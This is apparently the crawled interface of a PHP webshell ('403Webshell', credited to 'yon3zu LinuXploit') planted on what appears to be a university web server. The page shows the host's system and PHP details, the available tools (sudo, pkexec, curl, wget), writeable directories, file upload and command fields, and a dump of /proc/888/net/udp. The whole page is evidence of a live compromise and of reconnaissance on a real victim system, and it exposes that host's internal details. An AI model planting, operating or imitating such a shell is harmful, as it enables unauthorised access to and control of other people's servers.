403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/888/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/888/net/udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops             
   80: 280018AC:E228 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288001836 2 0000000000000000 0     
  216: 280018AC:8AB0 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004132 2 0000000000000000 0     
  244: 280018AC:EACC 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003692 2 0000000000000000 0     
  300: 280018AC:9304 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003622 2 0000000000000000 0     
  450: 280018AC:BB9A 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288002888 2 0000000000000000 0     
  459: 280018AC:A3A3 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003901 2 0000000000000000 0     
  526: 280018AC:8BE6 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288005126 2 0000000000000000 0     
  611: 280018AC:943B 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288005161 2 0000000000000000 0     
  704: 280018AC:8C98 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003736 2 0000000000000000 0     
  736: 280018AC:DCB8 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003821 2 0000000000000000 0     
  754: 280018AC:CCCA 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003835 2 0000000000000000 0     
  762: 280018AC:8CD2 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003947 2 0000000000000000 0     
  766: 280018AC:8CD6 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288002970 2 0000000000000000 0     
  986: 280018AC:B5B2 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004380 2 0000000000000000 0     
  988: 280018AC:E5B4 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003713 2 0000000000000000 0     
 1000: 280018AC:C5C0 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003944 2 0000000000000000 0     
 1003: 280018AC:CDC3 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288001783 2 0000000000000000 0     
 1085: 280018AC:C615 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288001771 2 0000000000000000 0     
 1142: 280018AC:B64E 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004271 2 0000000000000000 0     
 1163: 280018AC:DE63 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004399 2 0000000000000000 0     
 1192: 280018AC:9E80 0C0018AC:0035 01 00000000:00000300 00:00000000 00000000    48        0 288003013 2 0000000000000000 0     
 1298: 280018AC:C6EA 0D0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288001878 2 0000000000000000 0     
 1466: 280018AC:D792 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004303 2 0000000000000000 0     
 1562: 280018AC:E7F2 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288003675 2 0000000000000000 0     
 1653: 280018AC:A84D 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004371 2 0000000000000000 0     
 1835: 280018AC:8103 0B0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288000993 2 0000000000000000 0     
 1911: 280018AC:C14F 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288004518 2 0000000000000000 0     
 2017: 280018AC:C1B9 0C0018AC:0035 01 00000000:00000000 00:00000000 00000000    48        0 288005327 2 0000000000000000 0     

Youez - 2016 - github.com/yon3zu
LinuXploit